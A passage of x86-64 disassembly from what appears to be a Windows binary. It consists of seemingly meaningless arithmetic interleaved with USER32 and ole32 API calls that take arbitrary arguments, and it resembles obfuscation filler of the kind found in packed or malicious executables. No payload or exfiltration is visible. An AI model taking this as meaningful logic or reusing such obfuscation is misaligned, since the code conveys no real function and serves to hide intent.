jg 0x14015aa0b
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb688]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0xb590]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bc8]
or eax, ecx
mov word [0x1401a8398], ax
mov rax, qword [0x1401e34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b8c], ax
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_GetTopWindow]
mov qword [rsp + 0xb588], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e7]
sar eax, cl
mov byte [rsp + 0x1ed], al
movsx eax, byte [rsp + 0x38b]
movsx ecx, byte [0x1401a8038]
xor eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb5d8]
mov rcx, qword [rsp + 0xb368]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0xb6e0]
mov ecx, dword [rsp + 0x5880]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4620], eax
mov rax, qword [rsp + 0xb540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5868]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5860], eax
movsx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb5c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x109c]
sub eax, ecx
mov word [rsp + 0x12f0], ax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1534]
add eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x388], al
mov rax, qword [rsp + 0xb490]
mov ecx, dword [0x1401a838c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5754], eax
mov eax, dword [rsp + 0x4e08]
mov ecx, dword [rsp + 0x4a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x18520]
mov rcx, qword [rsp + 0xb560]
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8d90]
mov rax, qword [rsp + 0xb2f0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0xb550]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rax]
call fcn.14015c0f0
mov ecx, 0x7d
call qword [sym.imp.USER32.dll_GetKeyState]
mov word [rsp + 0x1534], ax
mov eax, dword [rsp + 0x587c]
mov ecx, dword [rsp + 0x5864]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5888], eax
mov rax, qword [rsp + 0xb4c8]
mov ecx, dword [rsp + 0x585c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5884], eax
mov rax, qword [rsp + 0xb4f0]
mov rcx, qword [rsp + 0xb468]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb620]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1bf0]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov word [rsp + 0x1bdc], ax
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [rsp + 0x54d8], eax
movzx eax, byte [0x1401a803c]
movzx ecx, byte [rsp + 0x38e]
shl eax, cl
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401a83a8], ax
jmp 0x14015ac84
mov rax, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0xb648]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb4d0]
mov rdx, qword [rsp + 0xa9d8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14015ac84
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a803a], al
movzx eax, word [rsp + 0xb30]
movzx ecx, word [0x1401a83a4]
sub eax, ecx
mov word [rsp + 0x1bfc], ax
movsx eax, word [rsp + 0x1bf0]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba0], ax
movzx r9d, word [rsp + 0x1be0]
mov rax, qword [rsp + 0xb6b0]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x38d]
mov rcx, qword [rsp + 0xb258]
call fcn.14015bfb0
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5870]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb5a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb490]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb520]
mov rcx, qword [rax]
call fcn.14015c130
lea r9, [rsp + 0xb6f8]
mov r8d, 0xaa
mov edx, 0x97
mov rcx, qword [rsp + 0xb588]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [rsp + 0x594c], eax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0x8bd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb4b8], rax
mov rax, qword [0x1401e34b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c00]
and eax, ecx
mov word [rsp + 0x1bdc], ax
jmp 0x14015addb
movzx eax, byte [rsp + 0xbd]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [rsp + 0x37c], al
mov r8d, 0xa
mov edx, 0xd4
mov rcx, qword [rsp + 0xb840]
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov dword [rsp + 0x594c], eax
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb690]
mov word [rcx], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1874]
add eax, ecx
mov word [0x1401a83b0], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xab58]
sar rax, cl
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xb548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9840], rax
movzx eax, byte [rsp + 0x383]
mov rcx, qword [0x1401e34a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e34d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0xb668]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb210], rax
lea r8, [rsp + 0xb6a0]
mov edx, 0x42
mov rcx, qword [rsp + 0xb588]
call qword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [rsp + 0x57a4], eax
mov rax, qword [rsp + 0xb548]
mov r9, qword [rax]
mov rax, qword [rsp + 0xb4c8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb540]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb668]
mov rcx, qword [rax]
call fcn.14015c1e0
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x4928]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x587c], eax
mov rax, qword [0x1401e34f0]
mov rcx, qword [rsp + 0xb4f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd8], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5798]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
xor r8d, r8d
mov rdx, qword [rsp + 0xb5b0]
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.USER32.dll_GetNextDlgTabItem]
mov qword [rsp + 0xb4f8], rax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [0x1401e34b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xb668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5f8], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0xb620]
mov qword [rsp + 0x18528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x18528]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb268], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb400]
shr rax, cl
mov qword [rsp + 0xb408], rax
mov eax, dword [rsp + 0x49fc]
movzx ecx, al
mov eax, dword [rsp + 0x465c]
shl eax, cl
mov dword [rsp + 0x5848], eax
mov rax, qword [rsp + 0xb518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
and eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8394], ax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb4d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb550]
mov byte [rcx], al
lea r8, [rsp + 0x378]
lea rdx, [rsp + 0xb558]
lea rcx, [rsp + 0xb258]
call qword [sym.imp.USER32.dll_UnionRect]
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb258]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb310], rax
movzx eax, word [rsp + 0x1bf8]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov word [rsp + 0x1be0], ax
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x57ec], eax
movzx ecx, byte [rsp + 0x37a]
call fcn.14015bf50
mov rax, qword [rsp + 0xb518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd44]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rsp + 0x8ea0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x9840]
movzx ecx, al
mov rax, qword [rsp + 0xb310]
shl rax, cl
mov qword [rsp + 0xb270], rax
mov r8, qword [rsp + 0x18530]
mov edx, 3
mov ecx, 0xb6
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [rsp + 0x584c], eax
movzx ecx, byte [0x1401a8039]
call fcn.14015bf50
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5758]
sar eax, cl
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4b8], rax
mov eax, dword [rsp + 0x584c]
mov ecx, dword [rsp + 0x57ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5854], eax
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde4], ax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [0x1401a83a4]
and eax, ecx
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc0]
sub eax, ecx
mov word [0x1401e34d8], ax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb310]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1534]
and eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [0x1401e34d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b84], ax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x5814]
call qword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb468], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [0x1401a8374]
and eax, ecx
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b8c], ax
movzx eax, byte [rsp + 0x37e]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x377], al
lea rdx, [rsp + 0xb6d8]
lea rcx, [rsp + 0x5834]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x57a0], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb4], ax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1bc0]
xor eax, ecx
mov word [rsp + 0x1b8c], ax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
and eax, ecx
mov rcx, qword [0x1401e34d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
mov r8, qword [rsp + 0xb228]
mov rax, qword [rsp + 0xb370]
mov edx, dword [rax]
mov ecx, dword [0x1401a8388]
call fcn.14015c040
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb310]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [0x1401a8374]
sub eax, ecx
mov word [rsp + 0x1bcc], ax
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x188c], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x232]
sar eax, cl
mov byte [rsp + 0x378], al
mov eax, dword [rsp + 0x5754]
movzx ecx, al
mov eax, dword [rsp + 0x57ac]
shl eax, cl
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5798]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb370]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0x65
lea rax, [rsp + 0xb2d8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf2
lea r8, [rsp + 0x57ac]
mov rdx, qword [rsp + 0xb2d0]
lea rcx, [rsp + 0xb2f0]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x5778], eax
mov eax, dword [0x1401a8388]
mov ecx, dword [rsp + 0x57ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
xor eax, ecx
mov byte [0x1401a803a], al
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1ba8]
shl eax, cl
mov word [rsp + 0x1b90], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sar eax, cl
mov word [rsp + 0x1bb0], ax
mov edx, 0xe9
lea rcx, [rsp + 0xa878]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x5800], eax
movzx eax, word [rsp + 0x1bc0]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb268]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x57ac]
mov ecx, dword [rsp + 0x56fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov eax, dword [rsp + 0x5818]
mov ecx, dword [rsp + 0x5798]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57b8], eax
lea rdx, [rsp + 0x8bd8]
mov ecx, 0x4d
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x57e4], eax
jmp 0x14015b652
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb0], ax
lea rcx, [rsp + 0xb2d0]
call qword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [rsp + 0x5778], eax
movzx ecx, byte [rsp + 0xe7]
call fcn.14015bf50
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1bb4]
and eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb1f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb210], rax
lea rdx, [rsp + 0x1ba8]
lea rcx, [rsp + 0xe7]
call qword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [rsp + 0x5778], eax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [0x1401e34f8], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x379]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb270]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov dword [rsp + 0x38], 0xe
mov rax, qword [rsp + 0xb6d8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x61
mov dword [rsp + 0x20], 0xfe
lea r9, [rsp + 0xb2d0]
mov r8d, 0x2b
mov edx, 0x81
lea rcx, [rsp + 0x1ba0]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [rsp + 0x570c], eax
mov rax, qword [rsp + 0xb1f0]
movzx ecx, byte [rax]
call fcn.14015bf50
jmp 0x14015b7f3
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
add eax, ecx
mov word [rsp + 0x1b84], ax
lea rdx, [rsp + 0x379]
mov rcx, qword [rsp + 0xb480]
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x570c], eax
mov eax, dword [rsp + 0x5798]
mov ecx, dword [rsp + 0x4a78]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a8370], eax
jmp 0x14015b909
lea rdx, [rsp + 0xb1f0]
mov rcx, qword [rsp + 0xb200]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x570c], eax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x115]
add eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb210]
sar rax, cl
mov qword [rsp + 0xa878], rax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
shl eax, cl
mov byte [rsp + 0x377], al
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb268]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb228]
movzx r8d, word [rsp + 0x1b90]
movzx edx, byte [rsp + 0xe7]
mov ecx, dword [rsp + 0x4bd4]
call fcn.14015c0f0
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8378], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1bb4], ax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x1b8c], ax
mov edx, dword [rsp + 0x56fc]
mov rcx, qword [rsp + 0xb228]
call fcn.14015c130
jmp 0x14015ba7e
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov byte [rsp + 0x379], al
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x377]
sub eax, ecx
mov byte [rsp + 0x115], al
movsx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
lea rax, [rsp + 0xb498]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x18538]
lea r8, [rsp + 0x2fe]
mov edx, 0xc5
lea rcx, [rsp + 0x1b9c]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0x5728], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb268]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx r9d, word [rsp + 0x1b8c]
mov rax, qword [rsp + 0xb280]
mov r8, qword [rax]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rax]
call fcn.14015bfb0
mov edx, 0x5f
mov ecx, 0xf
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x5800], eax
jmp 0x14015bae2
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb288]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xb280]
mov r8, qword [rax]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rax]
call fcn.14015bfb0
lea r8, [rsp + 0x1b94]
mov rdx, qword [rsp + 0xb2d0]
lea rcx, [rsp + 0x18538]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x5728], eax
movzx eax, word [0x1401a8378]
movzx ecx, word [rsp + 0x1b8c]
or eax, ecx
mov word [rsp + 0x1b90], ax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [rsp + 0xe7]
shl eax, cl
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5758]
movzx ecx, al
mov eax, dword [rsp + 0x4a78]
sar eax, cl
mov dword [rsp + 0x5764], eax
mov eax, dword [rsp + 0x5758]
movzx ecx, al
mov eax, dword [rsp + 0x571c]
shl eax, cl
mov dword [rsp + 0x5764], eax
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401a8374], ax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x377], al
lea rdx, [rsp + 0xb280]
mov rcx, qword [rsp + 0xb498]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x5708], eax
mov r9, qword [rsp + 0x9bb8]
mov r8d, dword [rsp + 0x4a78]
mov edx, dword [rsp + 0x4a78]
mov rcx, qword [0x1401a8380]
call fcn.14015c1e0
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
shl eax, cl
mov byte [rsp + 0x33b], al
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movzx r9d, word [rsp + 0x1b8c]
mov r8, qword [rsp + 0xb210]
movzx edx, byte [rsp + 0xe7]
mov rcx, qword [0x1401e3500]
call fcn.14015bfb0
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
lea rdx, [rsp + 0xb228]
mov ecx, 0xf6
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x5728], eax
movzx r9d, word [rsp + 0x1b8c]
mov r8, qword [rsp + 0xab58]
mov rax, qword [rsp + 0xb1f0]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xb1f8]
call fcn.14015bfb0
mov eax, dword [rsp + 0x56fc]
sub eax, 0x549d
mov dword [rsp + 0x56fc], eax
movsx eax, word [rsp + 0x1b80]
add eax, 0x6ea
mov word [rsp + 0x1b80], ax
movsx eax, word [rsp + 0x1b80]
sub eax, 0xe0
mov word [rsp + 0x1b80], ax
mov eax, dword [rsp + 0x56fc]
shl eax, 0xc
mov dword [rsp + 0x56fc], eax
mov eax, dword [0x1401a8370]
or eax, 0x272f
mov dword [0x1401a8370], eax
mov r8, qword [rsp + 0x91a0]
mov edx, dword [0x1401a8370]
